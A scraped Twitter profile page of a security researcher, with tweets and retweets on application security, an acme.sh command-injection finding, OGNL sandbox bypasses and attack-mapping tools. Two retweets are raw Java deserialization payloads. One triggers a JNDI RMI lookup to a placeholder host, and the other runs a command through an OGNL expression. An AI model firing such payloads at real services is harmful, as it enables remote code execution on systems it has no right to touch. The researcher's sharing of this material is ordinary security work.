@frohoff

building things, breaking things, building things that break things. ysoserial night janitor. journeyman ctf plumber. he/him https://xitter.cf/t.co/xtxZhUl2oN

 San Diego, CA
frohoff.org
Joined May 2007
  • Tweets5.1K
  • Following1.6K
  • Followers1.9K
142Media
speech and writing are just serialization for human thoughts #showerthoughts
2
8
845
Chris Frohoff retweeted
Kim Zetter
@KimZetter2 Oct 2023
Very slick. And a good reminder to keep car keys in a Faraday pouch when not using them
Denis Laskov 🇮🇱
@it4sec2 Oct 2023
Gone in 61 seconds. The keys were left near the front door.
12
82
4
341
203,029
Datadog's security team has just released KubeHound, an open-source attack mapping tool for Kubernetes clusters securitylabs.datadoghq.com/a… kubehound.io/ Comes with 25 attack types, each one comes with step by step instructions of how to exploit it
3
129
2
334
36,412
UHFKILL via Lab401 lab401.com/products/uhfkill The UHF RFID deactivation tool.Wirelessly and permanently disable UHF tags.A must have for OpSec/Operational Teams to deactivate tags embedded in clothing, shoes and products that can be used for tracking, identification and detection.
1
16
40
3,641
Chris Frohoff retweeted
ϻг_ϻε@steventseeley5 Sep 2023
{"@type":"org.apache.commons.mail.SimpleEmail","mailSessionFromJNDI":"rmi://hehe:1099/obj"}
6
45
6,820
Chris Frohoff retweeted
ϻг_ϻε@steventseeley5 Sep 2023
{"@type":"com.opensymphony.xwork2.validator.validators.RequiredStringValidator","trimExpression":"%{(@java.lang.Runtime@getRuntime().exec('mspaint'))}"}
4
43
5,645
Chris Frohoff retweeted
Justin Alvey
@justLV18 Jul 2023
I “jailbroke” a Google Nest Mini so that you can run your own LLM’s, agents and voice models. Here’s a demo using it to manage all my messages (with help from @onbeeper) 🔊 on, and wait for surprise guest! I thought hard about how to best tackle this and why, see 🧵
363
2,414
523
13,739
1,699,912
I remember when Apple proposed their CSAM scanning system in 2021, there were a lot of people complaining about the “slippery slope fallacy” and how we couldn’t just assume that content scanning would be expanded to other purposes. 23 months later: therecord.media/senate-dea-b…

Senate bill crafted with DEA targets end-to-end encryption, requires online companies to report...

A bill requiring social media companies, encrypted communications providers and other online services to report drug activity on their platforms to the U.S. Drug Enforcement Administration (DEA) has...

therecord.media
35
593
72
1,907
637,912
If you want to truly understand #AWS, you need to learn how it fails. Then you can design things to work around failure. Everything fails, all the time :) Something I cover extensively in my learn.cantrill.io courses .. is failure & resilience :) Please Retweet!
3
151
494
34,374
How Relational Databases Work. This post talks about how indexes and transactions work on the inside of relational databases. architecturenotes.co/things-…
22
501
7
2,299
316,342
So I just woke up and apparently I inadvertently discovered a zero-day RCE in acme.sh, and caused a Chinese CA to shut down overnight. Props to the @neilpangxa of acme.sh for the quick fix! github.com/acmesh-official/a…
15
123
12
810
203,367
‼️A Chinese certificate authority ("HiCA", www1.hi.cn/en/) is injecting arbitrary commands into the ACME challenge process, which acme.sh then executes on the client machine. Here's my current analysis: github.com/acmesh-official/a…
🧗‍♂️ Matt Holt
@mholt68 Jun 2023
🤔🤔🤔
10
255
29
813
397,419
Chris Frohoff retweeted
Summercon@SummerC0n21 Mar 2023
It is with profound sadness that we mourn the loss of our friend and mentor, @aloria. Kelly had an indomitable spirit, and our world is a bit darker without her.
258
253
171
973
537,085
Chris Frohoff retweeted
pyn3rd@pyn3rd6 Feb 2023
This is my comprehensive blog <Apache SCXML Remote Code Execution> pyn3rd.github.io/2023/02/06/…
1
53
139
21,663
If you're affected by the recent NCC workforce cut and you still 💕 appsec consulting, we're still hiring @Doyensec doyensec.com/careers.html (US based) #onemore #appsec

Doyensec - Web and Mobile Application Security Experts

Doyensec provides expert-level Web and Mobile Application Security Services.

doyensec.com
1
10
1
19
5,605
Chris Frohoff retweeted
Alvaro Muñoz@pwntester27 Jan 2023
Had some fun with OGNL sandboxes last year. Read how I bypassed Atlassian Confluence and Struts ones in my latest blog post github.blog/2023-01-27-bypas…

Bypassing OGNL sandboxes for fun and charities

Object Graph Notation Language (OGNL) is a popular, Java-based, expression language used in popular frameworks and applications, such as Apache Struts and Atlassian Confluence. Learn more about...

github.blog
1
90
3
197
40,335
Today, DoNotPay is launching a chatGPT extension that reads the Terms and Conditions, leases and flags anything that is non-standard to all our customers
45
218
63
1,846
227,114
Chris Frohoff retweeted
Nuria Lago@enelago15 Jan 2023
GitHub - MaximeBeasse/KeyDecoder: KeyDecoder app lets you use your smartphone or tablet to decode your mechanical keys in seconds. github.com/MaximeBeasse/KeyD…

GitHub - MaximeBeasse/KeyDecoder: KeyDecoder app lets you use your smartphone or tablet to decode...

KeyDecoder app lets you use your smartphone or tablet to decode your mechanical keys in seconds. - MaximeBeasse/KeyDecoder

github.com
44
1,219
120
5,890
653,095
Chris Frohoff retweeted
Elon Musk
@elonmusk18 Dec 2022
Should I step down as head of Twitter? I will abide by the results of this poll.
57%Yes
43%No
17,502,391 votes • Final results
340,912
206,894
165,358
520,385
366,648,477
Chris Frohoff retweeted
Caitlin Condon@catc0n17 Oct 2022
Thanks to @iagox86 and @ErickGalinkin for their research and analysis. rapid7.com/blog/post/2022/10…

CVE-2022-42889 Update: Keep Calm and Stop Saying "Text4Shell" | Rapid7 Blog

CVE-2022-42889, which some have begun calling “Text4Shell,” is a vulnerability in the popular Apache Commons Text library.

rapid7.com
1
12
41
Load more